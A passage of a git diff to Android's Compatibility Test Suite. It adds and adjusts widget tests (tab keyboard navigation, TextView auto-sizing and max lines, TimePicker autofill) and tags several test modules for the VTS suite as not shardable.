             super(context);
diff --git a/tests/tests/widget/src/android/widget/cts/TabHostTest.java b/tests/tests/widget/src/android/widget/cts/TabHostTest.java
index 765fd37..36f7108 100644
--- a/tests/tests/widget/src/android/widget/cts/TabHostTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TabHostTest.java
@@ -35,6 +35,7 @@
 import android.support.test.filters.SmallTest;
 import android.support.test.rule.ActivityTestRule;
 import android.support.test.runner.AndroidJUnit4;
+import android.view.KeyEvent;
 import android.view.View;
 import android.widget.ListView;
 import android.widget.TabHost;
@@ -395,6 +396,49 @@
         assertEquals(TAG_TAB2, tabHost.getCurrentTabTag());
     }
 
+    @Test
+    public void testKeyboardNavigation() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.setContentView(R.layout.tabhost_focus);
+            TabHost tabHost = mActivity.findViewById(android.R.id.tabhost);
+            tabHost.setup();
+            TabSpec spec = tabHost.newTabSpec("Tab 1");
+            spec.setContent(R.id.tab1);
+            spec.setIndicator("Tab 1");
+            tabHost.addTab(spec);
+            spec = tabHost.newTabSpec("Tab 2");
+            spec.setContent(R.id.tab2);
+            spec.setIndicator("Tab 2");
+            tabHost.addTab(spec);
+            View topBut = mActivity.findViewById(R.id.before_button);
+            topBut.requestFocus();
+            assertTrue(topBut.isFocused());
+        });
+        mInstrumentation.waitForIdleSync();
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_TAB);
+        View tabs = mActivity.findViewById(android.R.id.tabs);
+        assertTrue(tabs.hasFocus());
+        View firstTab = tabs.findFocus();
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_TAB);
+        assertTrue(tabs.hasFocus());
+        int[] shiftKey = new int[]{KeyEvent.KEYCODE_SHIFT_LEFT};
+        sendKeyComboSync(KeyEvent.KEYCODE_TAB, shiftKey);
+        assertTrue(tabs.hasFocus());
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_TAB);
+        assertTrue(tabs.hasFocus());
+
+        // non-navigation sends focus to content
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_E);
+        assertTrue(mActivity.findViewById(R.id.tab1_button).isFocused());
+        sendKeyComboSync(KeyEvent.KEYCODE_TAB, shiftKey);
+        assertTrue(tabs.hasFocus());
+
+        mActivityRule.runOnUiThread(() -> firstTab.requestFocus());
+        mInstrumentation.waitForIdleSync();
+        sendKeyComboSync(KeyEvent.KEYCODE_TAB, shiftKey);
+        assertTrue(mActivity.findViewById(R.id.before_button).isFocused());
+    }
+
     private class MyTabContentFactoryText implements TabHost.TabContentFactory {
         public View createTabContent(String tag) {
             final TextView tv = new TextView(mActivity);
@@ -409,4 +453,48 @@
             return lv;
         }
     }
+
+    private static int metaFromKey(int keyCode) {
+        switch(keyCode) {
+            case KeyEvent.KEYCODE_ALT_LEFT: return KeyEvent.META_ALT_LEFT_ON;
+            case KeyEvent.KEYCODE_ALT_RIGHT: return KeyEvent.META_ALT_RIGHT_ON;
+            case KeyEvent.KEYCODE_SHIFT_LEFT: return KeyEvent.META_SHIFT_LEFT_ON;
+            case KeyEvent.KEYCODE_SHIFT_RIGHT: return KeyEvent.META_SHIFT_RIGHT_ON;
+            case KeyEvent.KEYCODE_CTRL_LEFT: return KeyEvent.META_CTRL_LEFT_ON;
+            case KeyEvent.KEYCODE_CTRL_RIGHT: return KeyEvent.META_CTRL_RIGHT_ON;
+            case KeyEvent.KEYCODE_META_LEFT: return KeyEvent.META_META_LEFT_ON;
+            case KeyEvent.KEYCODE_META_RIGHT: return KeyEvent.META_META_RIGHT_ON;
+        }
+        return 0;
+    }
+
+    /**
+     * High-level method for sending a chorded key-combo (modifiers + key). This will send all the
+     * down and up key events as a user would press them (ie. all the modifiers get their own
+     * down and up events).
+     *
+     * @param keyCode The keycode to send while all meta keys are pressed.
+     * @param metaKeys An array of meta key *keycodes* (not modifiers).
+     */
+    private void sendKeyComboSync(int keyCode, int[] metaKeys) {
+        int metaState = 0;
+        if (metaKeys != null) {
+            for (int mk = 0; mk < metaKeys.length; ++mk) {
+                metaState |= metaFromKey(metaKeys[mk]);
+                mInstrumentation.sendKeySync(new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, metaKeys[mk],
+                        0, KeyEvent.normalizeMetaState(metaState)));
+            }
+        }
+        mInstrumentation.sendKeySync(new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, keyCode, 0,
+                KeyEvent.normalizeMetaState(metaState)));
+        mInstrumentation.sendKeySync(new KeyEvent(0, 0, KeyEvent.ACTION_UP, keyCode, 0,
+                KeyEvent.normalizeMetaState(metaState)));
+        if (metaKeys != null) {
+            for (int mk = 0; mk < metaKeys.length; ++mk) {
+                metaState &= ~metaFromKey(metaKeys[mk]);
+                mInstrumentation.sendKeySync(new KeyEvent(0, 0, KeyEvent.ACTION_UP, metaKeys[mk], 0,
+                        KeyEvent.normalizeMetaState(metaState)));
+            }
+        }
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java b/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
index c798a0e..7af7af9 100644
--- a/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
@@ -23,8 +23,10 @@
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
+import android.app.Instrumentation;
 import android.content.Context;
 import android.graphics.drawable.Drawable;
+import android.support.test.InstrumentationRegistry;
 import android.support.test.annotation.UiThreadTest;
 import android.support.test.filters.MediumTest;
 import android.support.test.rule.ActivityTestRule;
@@ -52,6 +54,7 @@
 public class TabWidgetTest {
     private TabHostCtsActivity mActivity;
     private TabWidget mTabWidget;
+    private Instrumentation mInstrumentation;
 
     @Rule
     public ActivityTestRule<TabHostCtsActivity> mActivityRule =
@@ -59,6 +62,7 @@
 
     @Before
     public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mActivity = mActivityRule.getActivity();
         mTabWidget = mActivity.getTabWidget();
     }
@@ -289,38 +293,55 @@
         assertFalse(mTabWidget.isStripEnabled());
     }
 
-    @UiThreadTest
     @Test
-    public void testStripDrawables() {
+    public void testStripDrawables() throws Throwable {
+        mTabWidget.setStripEnabled(true);
+
         // Test setting left strip drawable
-        mTabWidget.setLeftStripDrawable(R.drawable.icon_green);
+        mActivityRule.runOnUiThread(() -> mTabWidget.setLeftStripDrawable(R.drawable.icon_green));
         Drawable leftStripDrawable = mTabWidget.getLeftStripDrawable();
         assertNotNull(leftStripDrawable);
         TestUtils.assertAllPixelsOfColor("Left strip green", leftStripDrawable,
                 leftStripDrawable.getIntrinsicWidth(), leftStripDrawable.getIntrinsicHeight(),
                 true, 0xFF00FF00, 1, false);
 
-        mTabWidget.setLeftStripDrawable(mActivity.getDrawable(R.drawable.icon_red));
+        mActivityRule.runOnUiThread(() -> mTabWidget.setLeftStripDrawable(
+                mActivity.getDrawable(R.drawable.icon_red)));
         leftStripDrawable = mTabWidget.getLeftStripDrawable();
         assertNotNull(leftStripDrawable);
         TestUtils.assertAllPixelsOfColor("Left strip red", leftStripDrawable,
                 leftStripDrawable.getIntrinsicWidth(), leftStripDrawable.getIntrinsicHeight(),
                 true, 0xFFFF0000, 1, false);
 
+        mActivityRule.runOnUiThread(() -> mTabWidget.setLeftStripDrawable(null));
+        leftStripDrawable = mTabWidget.getLeftStripDrawable();
+        assertNull(leftStripDrawable);
+
+        // Wait for draw.
+        mInstrumentation.waitForIdleSync();
+
         // Test setting right strip drawable
-        mTabWidget.setRightStripDrawable(R.drawable.icon_red);
+        mActivityRule.runOnUiThread(() -> mTabWidget.setRightStripDrawable(R.drawable.icon_red));
         Drawable rightStripDrawable = mTabWidget.getRightStripDrawable();
         assertNotNull(rightStripDrawable);
         TestUtils.assertAllPixelsOfColor("Right strip red", rightStripDrawable,
                 rightStripDrawable.getIntrinsicWidth(), rightStripDrawable.getIntrinsicHeight(),
                 true, 0xFFFF0000, 1, false);
 
-        mTabWidget.setRightStripDrawable(mActivity.getDrawable(R.drawable.icon_green));
+        mActivityRule.runOnUiThread(() -> mTabWidget.setRightStripDrawable(
+                mActivity.getDrawable(R.drawable.icon_green)));
         rightStripDrawable = mTabWidget.getRightStripDrawable();
         assertNotNull(rightStripDrawable);
         TestUtils.assertAllPixelsOfColor("Left strip green", rightStripDrawable,
                 rightStripDrawable.getIntrinsicWidth(), rightStripDrawable.getIntrinsicHeight(),
                 true, 0xFF00FF00, 1, false);
+
+        mActivityRule.runOnUiThread(() -> mTabWidget.setRightStripDrawable(null));
+        rightStripDrawable = mTabWidget.getRightStripDrawable();
+        assertNull(rightStripDrawable);
+
+        // Wait for draw.
+        mInstrumentation.waitForIdleSync();
     }
 
     @UiThreadTest
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index b87a36f..367ed40 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -26,7 +26,6 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 import static org.mockito.Matchers.any;
-import static org.mockito.Matchers.anyInt;
 import static org.mockito.Matchers.eq;
 import static org.mockito.Matchers.refEq;
 import static org.mockito.Mockito.doAnswer;
@@ -188,6 +187,19 @@
 
     private static final int SMARTSELECT_START = 0;
     private static final int SMARTSELECT_END = 40;
+    private static final TextClassifier FAKE_TEXT_CLASSIFIER = new TextClassifier() {
+        @Override
+        public TextSelection suggestSelection(
+                CharSequence text, int start, int end, LocaleList locales) {
+            return new TextSelection.Builder(SMARTSELECT_START, SMARTSELECT_END).build();
+        }
+
+        @Override
+        public TextClassification classifyText(
+                CharSequence text, int start, int end, LocaleList locales) {
+            return new TextClassification.Builder().build();
+        }
+    };
     private static final int CLICK_TIMEOUT = ViewConfiguration.getDoubleTapTimeout() + 50;
 
     private CharSequence mTransformedText;
@@ -982,6 +994,30 @@
     }
 
     @Test
+    public void testSetMaxLines_toZero_shouldNotDisplayAnyLines() throws Throwable {
+        mTextView = findTextView(R.id.textview_text);
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setPadding(0, 0, 0, 0);
+            mTextView.setText("Single");
+            mTextView.setMaxLines(0);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        final int expectedHeight = mTextView.getTotalPaddingBottom()
+                + mTextView.getTotalPaddingTop();
+
+        assertEquals(expectedHeight, mTextView.getHeight());
+
+        mActivityRule.runOnUiThread(() -> mTextView.setText("Two\nLines"));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(expectedHeight, mTextView.getHeight());
+
+        mActivityRule.runOnUiThread(() -> mTextView.setTextIsSelectable(true));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(expectedHeight, mTextView.getHeight());
+    }
+
+    @Test
     public void testWidth() throws Throwable {
         mTextView = findTextView(R.id.textview_text);
         int originalWidth = mTextView.getWidth();
@@ -3580,7 +3616,8 @@
         mActivityRule.runOnUiThread(() -> mActivity.setContentView(layout));
         mInstrumentation.waitForIdleSync();
 
-        final float halfCharWidth = (float) Math.ceil(mTextView.getPaint().measureText("a") / 2f);
+        final float horizontalPosFix = (float) Math.ceil(
+                mTextView.getPaint().measureText("a") * 2f / 3f);
         final int paddingTop = mTextView.getTotalPaddingTop();
         final int paddingLeft = mTextView.getTotalPaddingLeft();
 
@@ -3594,7 +3631,7 @@
         assertEquals(firstOffset, mTextView.getOffsetForPosition(x, y));
 
         // right edge of text
-        x = mTextView.getLayout().getLineWidth(0) + paddingLeft - halfCharWidth;
+        x = mTextView.getLayout().getLineWidth(0) + paddingLeft - horizontalPosFix;
         assertEquals(lastOffset, mTextView.getOffsetForPosition(x, y));
 
         // right edge of view
@@ -3606,7 +3643,7 @@
         assertEquals(firstOffset, mTextView.getOffsetForPosition(x, y));
 
         // horizontal center of text
-        x = mTextView.getLayout().getLineWidth(0) / 2f + paddingLeft - halfCharWidth;
+        x = mTextView.getLayout().getLineWidth(0) / 2f + paddingLeft - horizontalPosFix;
         assertEquals(midOffset, mTextView.getOffsetForPosition(x, y));
     }
 
@@ -3640,7 +3677,8 @@
         final Rect lineBounds = new Rect();
         mTextView.getLayout().getLineBounds(0, lineBounds);
 
-        final float halfCharWidth = (float) Math.ceil(mTextView.getPaint().measureText("a") / 2f);
+        final float horizontalPosFix = (float) Math.ceil(
+                mTextView.getPaint().measureText("a") * 2f / 3f);
         final int paddingTop = mTextView.getTotalPaddingTop();
         final int paddingLeft = mTextView.getTotalPaddingLeft();
 
@@ -3662,7 +3700,7 @@
         assertEquals(line.length(), mTextView.getOffsetForPosition(x, y));
 
         // right edge of text at second line
-        x = mTextView.getLayout().getLineWidth(1) + paddingLeft - halfCharWidth;
+        x = mTextView.getLayout().getLineWidth(1) + paddingLeft - horizontalPosFix;
         assertEquals(line.length() + line.length() - 1, mTextView.getOffsetForPosition(x, y));
 
         // right edge of view at second line
@@ -3670,7 +3708,7 @@
         assertEquals(line.length() + line.length() - 1, mTextView.getOffsetForPosition(x, y));
 
         // horizontal center of text at second line
-        x = mTextView.getLayout().getLineWidth(1) / 2f + paddingLeft - halfCharWidth;
+        x = mTextView.getLayout().getLineWidth(1) / 2f + paddingLeft - horizontalPosFix;
         // second line mid offset should not include next line, therefore subtract one
         assertEquals(line.length() + (line.length() - 1) / 2, mTextView.getOffsetForPosition(x, y));
     }
@@ -3705,8 +3743,8 @@
         final Rect lineBounds = new Rect();
         mTextView.getLayout().getLineBounds(0, lineBounds);
 
-        final float halfCharWidth = (float) Math.ceil(
-                mTextView.getPaint().measureText("\u0635") / 2f);
+        final float horizontalPosFix = (float) Math.ceil(
+                mTextView.getPaint().measureText("\u0635") * 2f / 3f);
         final int paddingTop = mTextView.getTotalPaddingTop();
         final int paddingRight = mTextView.getTotalPaddingRight();
 
@@ -3733,12 +3771,12 @@
 
         // left edge of text at second line
         x = mTextView.getWidth() - (mTextView.getLayout().getLineWidth(1) + paddingRight
-                - halfCharWidth);
+                - horizontalPosFix);
         assertEquals(line.length() + line.length() - 1, mTextView.getOffsetForPosition(x, y));
 
         // horizontal center of text at second line
         x = mTextView.getWidth() - (mTextView.getLayout().getLineWidth(1) / 2f + paddingRight
-                - halfCharWidth);
+                - horizontalPosFix);
         // second line mid offset should not include next line, therefore subtract one
         assertEquals(line.length() + (line.length() - 1) / 2, mTextView.getOffsetForPosition(x, y));
     }
@@ -6786,6 +6824,31 @@
     }
 
     @Test
+    public void testAutoSizeCallers_setTransformationMethod() throws Throwable {
+        final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+                R.id.textview_autosize_uniform, false);
+        // Mock transformation method to return the duplicated input text in order to measure
+        // auto-sizing.
+        TransformationMethod duplicateTextTransformationMethod = mock(TransformationMethod.class);
+        when(duplicateTextTransformationMethod
+                .getTransformation(any(CharSequence.class), any(View.class)))
+                .thenAnswer(invocation -> {
+                    CharSequence source = (CharSequence) invocation.getArguments()[0];
+                    return new StringBuilder().append(source).append(source).toString();
+                });
+
+        mActivityRule.runOnUiThread(() ->
+                autoSizeTextView.setTransformationMethod(null));
+        mInstrumentation.waitForIdleSync();
+        final float initialTextSize = autoSizeTextView.getTextSize();
+        mActivityRule.runOnUiThread(() ->
+                autoSizeTextView.setTransformationMethod(duplicateTextTransformationMethod));
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(autoSizeTextView.getTextSize() < initialTextSize);
+    }
+
+    @Test
     public void testAutoSizeCallers_setCompoundDrawables() throws Throwable {
         final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
                 R.id.textview_autosize_uniform, false);
@@ -6964,11 +7027,53 @@
     public void testAutoSizeCallers_setMaxLines() throws Throwable {
         final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
                 R.id.textview_autosize_uniform, false);
-        final float initialTextSize = autoSizeTextView.getTextSize();
-        mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxLines(1));
+        // Configure layout params and auto-size both in pixels to dodge flakiness on different
+        // devices.
+        final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(
+                200, 200);
+        final String text = "one\ntwo\nthree\nfour\nfive\nsix\nseven\neight\nnine\nten";
+        mActivityRule.runOnUiThread(() -> {
+            autoSizeTextView.setLayoutParams(layoutParams);
+            autoSizeTextView.setAutoSizeTextTypeUniformWithConfiguration(
+                    1 /* autoSizeMinTextSize */,
+                    5000 /* autoSizeMaxTextSize */,
+                    1 /* autoSizeStepGranularity */,
+                    TypedValue.COMPLEX_UNIT_PX);
+            autoSizeTextView.setText(text);
+        });
         mInstrumentation.waitForIdleSync();
 
-        assertTrue(autoSizeTextView.getTextSize() < initialTextSize);
+        float initialSize = 0;
+        for (int i = 1; i < 10; i++) {
+            final int maxLines = i;
+            mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxLines(maxLines));
+            mInstrumentation.waitForIdleSync();
+            float expectedSmallerSize = autoSizeTextView.getTextSize();
+            if (i == 1) {
+                initialSize = expectedSmallerSize;
+            }
+
+            mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxLines(maxLines + 1));
+            mInstrumentation.waitForIdleSync();
+            assertTrue(expectedSmallerSize <= autoSizeTextView.getTextSize());
+        }
+        assertTrue(initialSize < autoSizeTextView.getTextSize());
+
+        initialSize = Integer.MAX_VALUE;
+        for (int i = 10; i > 1; i--) {
+            final int maxLines = i;
+            mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxLines(maxLines));
+            mInstrumentation.waitForIdleSync();
+            float expectedLargerSize = autoSizeTextView.getTextSize();
+            if (i == 10) {
+                initialSize = expectedLargerSize;
+            }
+
+            mActivityRule.runOnUiThread(() -> autoSizeTextView.setMaxLines(maxLines - 1));
+            mInstrumentation.waitForIdleSync();
+            assertTrue(expectedLargerSize >= autoSizeTextView.getTextSize());
+        }
+        assertTrue(initialSize > autoSizeTextView.getTextSize());
     }
 
     @Test
@@ -7640,17 +7745,10 @@
 
     private void initializeTextForSmartSelection(CharSequence text) throws Throwable {
         assertTrue(text.length() >= SMARTSELECT_END);
-        TextClassifier mockClassifier = mock(TextClassifier.class);
-        when(mockClassifier.suggestSelection(
-                any(CharSequence.class), anyInt(), anyInt(), any(LocaleList.class)))
-                .thenReturn(new TextSelection.Builder(SMARTSELECT_START, SMARTSELECT_END).build());
-        when(mockClassifier.classifyText(
-                any(CharSequence.class), anyInt(), anyInt(), any(LocaleList.class)))
-                .thenReturn(new TextClassification.Builder().build());
         mActivityRule.runOnUiThread(() -> {
             mTextView.setTextIsSelectable(true);
             mTextView.setText(text);
-            mTextView.setTextClassifier(mockClassifier);
+            mTextView.setTextClassifier(FAKE_TEXT_CLASSIFIER);
             mTextView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
diff --git a/tests/tests/widget/src/android/widget/cts/TimePickerTest.java b/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
index e66fc70..0886aa3 100644
--- a/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.reset;
@@ -39,6 +40,7 @@
 import android.util.AttributeSet;
 import android.view.KeyEvent;
 import android.view.View;
+import android.view.autofill.AutofillValue;
 import android.widget.TimePicker;
 
 import com.android.compatibility.common.util.CtsKeyEventUtil;
@@ -50,7 +52,10 @@
 import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
+import java.util.Calendar;
 import java.util.Collections;
+import java.util.GregorianCalendar;
+import java.util.concurrent.atomic.AtomicInteger;
 
 /**
  * Test {@link TimePicker}.
@@ -115,9 +120,59 @@
 
         mTimePicker.setEnabled(false);
         assertFalse(mTimePicker.isEnabled());
+        assertNull(mTimePicker.getAutofillValue());
+        assertEquals(View.AUTOFILL_TYPE_NONE, mTimePicker.getAutofillType());
 
         mTimePicker.setEnabled(true);
         assertTrue(mTimePicker.isEnabled());
+        assertNotNull(mTimePicker.getAutofillValue());
+        assertEquals(View.AUTOFILL_TYPE_DATE, mTimePicker.getAutofillType());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAutofill() {
+        mTimePicker.setEnabled(true);
+
+        final AtomicInteger numberOfListenerCalls = new AtomicInteger();
+        mTimePicker.setOnTimeChangedListener((v, h, m) -> numberOfListenerCalls.incrementAndGet());
+
+        final Calendar calendar = new GregorianCalendar();
+        calendar.set(Calendar.HOUR_OF_DAY, 4);
+        calendar.set(Calendar.MINUTE, 20);
+
+        final AutofillValue autofilledValue = AutofillValue.forDate(calendar.getTimeInMillis());
+        mTimePicker.autofill(autofilledValue);
+        assertEquals(autofilledValue, mTimePicker.getAutofillValue());
+        assertEquals(4, mTimePicker.getHour());
+        assertEquals(20, mTimePicker.getMinute());
+        assertEquals(1, numberOfListenerCalls.get());
+
+        // Make sure autofill() is ignored when value is null.
+        numberOfListenerCalls.set(0);
+        mTimePicker.autofill((AutofillValue) null);
+        assertEquals(autofilledValue, mTimePicker.getAutofillValue());
+        assertEquals(4, mTimePicker.getHour());
+        assertEquals(20, mTimePicker.getMinute());
+        assertEquals(0, numberOfListenerCalls.get());
+
+        // Make sure autofill() is ignored when value is not a date.
+        numberOfListenerCalls.set(0);
+        mTimePicker.autofill(AutofillValue.forText("Y U NO IGNORE ME?"));
+        assertEquals(autofilledValue, mTimePicker.getAutofillValue());
+        assertEquals(4, mTimePicker.getHour());
+        assertEquals(20, mTimePicker.getMinute());
+        assertEquals(0, numberOfListenerCalls.get());
+
+        // Make sure getAutofillValue() is reset when value is manually filled.
+        mTimePicker.autofill(autofilledValue); // 04:20
+        mTimePicker.setHour(10);
+        calendar.setTimeInMillis(mTimePicker.getAutofillValue().getDateValue());
+        assertEquals(10, calendar.get(Calendar.HOUR));
+        mTimePicker.autofill(autofilledValue); // 04:20
+        mTimePicker.setMinute(8);
+        calendar.setTimeInMillis(mTimePicker.getAutofillValue().getDateValue());
+        assertEquals(8, calendar.get(Calendar.MINUTE));
     }
 
     @UiThreadTest
@@ -498,6 +553,12 @@
         prepareForKeyboardInput(initialHour, initialMinute, false /* is24hFormat */,
                 false /* isClockMode */);
 
+        // when testing on device with lower resolution, the Spinner mode time picker may not show
+        // completely, which will cause case fail, so in this case remove the clock time picker to
+        // focus on the test of Spinner mode
+        final TimePicker clock = mActivity.findViewById(R.id.timepicker_clock);
+        mActivityRule.runOnUiThread(() -> clock.setVisibility(View.GONE));
+
         assertEquals(initialHour, mTimePicker.getHour());
         mActivityRule.runOnUiThread(() -> mTimePicker.getHourView().requestFocus());
         mInstrumentation.waitForIdleSync();
@@ -610,6 +671,12 @@
         prepareForKeyboardInput(initialHour, initialMinute, true /* is24hFormat */,
                 false /* isClockMode */);
 
+        // when testing on device with lower resolution, the Spinner mode time picker may not show
+        // completely, which will cause case fail, so in this case remove the clock time picker to
+        // focus on the test of Spinner mode
+        final TimePicker clock = mActivity.findViewById(R.id.timepicker_clock);
+        mActivityRule.runOnUiThread(() -> clock.setVisibility(View.GONE));
+
         assertEquals(initialHour, mTimePicker.getHour());
         mActivityRule.runOnUiThread(() -> mTimePicker.getHourView().requestFocus());
         mInstrumentation.waitForIdleSync();
diff --git a/tests/tests/wrap/nowrap/Android.mk b/tests/tests/wrap/nowrap/Android.mk
index eb801a1..8f70c2a 100644
--- a/tests/tests/wrap/nowrap/Android.mk
+++ b/tests/tests/wrap/nowrap/Android.mk
@@ -26,7 +26,7 @@
 	android-support-test \
 	legacy-android-test
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_SDK_VERSION := current
 
 LOCAL_PACKAGE_NAME := CtsWrapNoWrapTestCases
diff --git a/tests/tests/wrap/nowrap/AndroidTest.xml b/tests/tests/wrap/nowrap/AndroidTest.xml
index 5d7db34..1ca2369 100644
--- a/tests/tests/wrap/nowrap/AndroidTest.xml
+++ b/tests/tests/wrap/nowrap/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS No Wrap test cases">
     <option name="config-descriptor:metadata" key="component" value="art" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWrapNoWrapTestCases.apk" />
diff --git a/tests/tests/wrap/wrap_debug/Android.mk b/tests/tests/wrap/wrap_debug/Android.mk
index e955115..7299f02 100644
--- a/tests/tests/wrap/wrap_debug/Android.mk
+++ b/tests/tests/wrap/wrap_debug/Android.mk
@@ -26,7 +26,7 @@
 	android-support-test \
 	legacy-android-test
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_SDK_VERSION := current
 
 LOCAL_PREBUILT_JNI_LIBS_arm := ../wrap.sh
diff --git a/tests/tests/wrap/wrap_debug/AndroidTest.xml b/tests/tests/wrap/wrap_debug/AndroidTest.xml
index 9ce56ee..b3468bf 100644
--- a/tests/tests/wrap/wrap_debug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_debug/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS Debug Wrap test cases">
     <option name="config-descriptor:metadata" key="component" value="art" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWrapWrapDebugTestCases.apk" />
diff --git a/tests/tests/wrap/wrap_nodebug/Android.mk b/tests/tests/wrap/wrap_nodebug/Android.mk
index c4fb53f..e4a8c51 100644
--- a/tests/tests/wrap/wrap_nodebug/Android.mk
+++ b/tests/tests/wrap/wrap_nodebug/Android.mk
@@ -26,7 +26,7 @@
 	android-support-test \
 	legacy-android-test
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_SDK_VERSION := current
 
 LOCAL_PREBUILT_JNI_LIBS_arm := ../wrap.sh
diff --git a/tests/tests/wrap/wrap_nodebug/AndroidTest.xml b/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
index ae27182..b7a6a11 100644
--- a/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS Wrap test cases">
     <option name="config-descriptor:metadata" key="component" value="art" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWrapWrapNoDebugTestCases.apk" />
diff --git a/tests/tvprovider/Android.mk b/tests/tvprovider/Android.mk
index 8c5aa1e..4a13909 100644
--- a/tests/tvprovider/Android.mk
+++ b/tests/tvprovider/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_PACKAGE_NAME := CtsTvProviderTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 
 LOCAL_SDK_VERSION := current
diff --git a/tests/tvprovider/AndroidTest.xml b/tests/tvprovider/AndroidTest.xml
index dd8d28a..9365cbd 100644
--- a/tests/tvprovider/AndroidTest.xml
+++ b/tests/tvprovider/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS TV Provider test cases">
     <option name="config-descriptor:metadata" key="component" value="tv" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTvProviderTestCases.apk" />
diff --git a/tests/ui/Android.mk b/tests/ui/Android.mk
index ecd00f9..53ae77e 100644
--- a/tests/ui/Android.mk
+++ b/tests/ui/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsUiDeviceTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/ui/AndroidTest.xml b/tests/ui/AndroidTest.xml
index a9fa4f4..3f52b4a 100644
--- a/tests/ui/AndroidTest.xml
+++ b/tests/ui/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for CTS UI test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUiDeviceTestCases.apk" />
diff --git a/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java b/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
index 4df824c..c550f82 100644
--- a/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
+++ b/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
@@ -31,9 +31,11 @@
 @RunWith(AndroidJUnit4.class)
 @SmallTest
 public class WatchPercentageScreenDimenTest {
+
